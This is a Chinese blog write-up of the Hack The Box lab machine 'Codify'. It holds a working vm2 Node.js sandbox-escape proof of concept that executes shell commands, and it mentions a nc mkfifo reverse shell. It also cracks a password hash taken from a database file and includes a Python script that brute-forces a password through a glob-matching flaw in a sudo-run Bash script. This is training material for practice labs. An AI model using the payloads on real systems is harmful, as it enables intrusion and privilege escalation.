Hack The Box-Codify

Str4w_AShiR

已于 2024-01-04 16:42:58 修改

阅读量569

点赞数 9

分类专栏： HTB靶场合集文章标签： linux 服务器 web

于 2024-01-04 15:07:40 首次发布

本文链接：https://blog.csdn.net/m0_52742680/article/details/135387075

版权

HTB靶场合集专栏收录该内容

32 篇文章 23 订阅

订阅专栏

Codify

端口扫描

在这里插入图片描述

端口利用

访问80端口

在这里插入图片描述

发现是一个测试Node.js代码的网页，并且用的是vm2沙盒，点击Try it now

在这里插入图片描述

漏洞利用

既然确定了是vm2搭建的沙盒，寻找vm2相关的漏洞

在这里插入图片描述

存在CVE-2023-32314

执行POC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("id").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

在这里插入图片描述

id命令成功执行，改为反弹shell

在这里插入图片描述

发现没有-e参数，尝试改为使用nc mkfifo

在这里插入图片描述

成功拿到shell

权限提升

经过测试，发现当前用户sudo和suid均没有可以利用的点，想到该网站还有http服务，进入/var/www/目录查看，发现存在contact文件夹，其中有tickets.db文件

在这里插入图片描述

发现存放的是joshua用户和其加密后的密码，将密码解密

在这里插入图片描述

使用joshua账户登录ssh

登陆后查看可以使用的权限

在这里插入图片描述

发现能够执行/opt/scripts/mysql-backup.sh，查看该脚本内容

在这里插入图片描述

脚本的这一部分将用户提供的密码（USER_PASS）与实际的数据库密码（DB_PASS）进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致，它执行模式匹配而不是直接字符串比较。这意味着用户输入（USER_PASS）被视为一种模式，如果它包含 * 或？等通配字符，则它可能会匹配意外的字符串。

例如，如果实际密码（DB_PASS）是 password，但是用户输入 * 作为其密码（USER_PASS），则模式匹配将成功，因为 * 匹配任何字符串，从而导致未经授权的访问。

编写一段python脚本跑密码

# test.py 
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True